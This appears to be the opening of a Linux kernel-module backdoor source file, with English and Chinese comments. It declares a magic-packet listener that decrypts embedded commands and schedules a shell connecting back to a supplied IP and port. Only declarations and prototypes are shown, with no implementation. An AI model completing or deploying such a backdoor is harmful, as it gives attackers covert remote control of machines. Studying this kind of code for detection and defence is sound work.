/**
 * @file backdoor.c
 * @brief This file contains the implementation of a backdoor mechanism that listens for specific network packets and executes a shell command when a magic packet is detected.
 *
 * The backdoor listens for TCP, ICMP, and UDP packets with specific characteristics and a magic value. When such a packet is detected, it extracts the command and arguments, decrypts them, and schedules a shell execution task.
 */

#include <linux/string.h>
#include <linux/version.h>
#include <linux/net.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/icmp.h>
#include <linux/workqueue.h>

#include "util.h"              // 自定义的实用程序头文件（可能包含一些工具函数）
#include "config.h"            // 自定义的配置头文件（可能定义了一些配置参数）
#include "backdoor.h"          // 后门的实现头文件

/**
 * @struct shell_task
 * @brief Structure representing a shell execution task.
 * 
 * @var shell_task::work
 * Work structure for scheduling the task.
 * @var shell_task::ip
 * IP address to connect to.
 * @var shell_task::port
 * Port to connect to.
 */
struct shell_task {
    struct work_struct work; // 工作队列结构体
    char *ip;                // 存储IP地址字符串
    char *port;              // 存储端口号字符串
};

/**
 * @brief Executes a shell command with the given IP and port.
 * 
 * @param work Pointer to the work structure.
 */
void shell_execer(struct work_struct *work);

/**
 * @brief Schedules a shell execution task.
 * 
 * @param ip IP address to connect to.
 * @param port Port to connect to.
 * @return int 1 if the task was successfully scheduled, 0 otherwise.
 */
int shell_exec_queue(char *ip, char *port);

#define DROP 0    // 定义DROP为0，表示丢弃数据包
#define ACCEPT 1  // 定义ACCEPT为1，表示接受数据包

/**
 * @brief Parses a network packet to detect a magic packet and execute a shell command.
 * 
 * @param socket_buffer Pointer to the socket buffer containing the packet data.
 * @return unsigned int DROP if the packet is a magic packet and the command was executed, ACCEPT otherwise.
 */
unsigned int magic_packet_parse(struct sk_buff *socket_buffer);
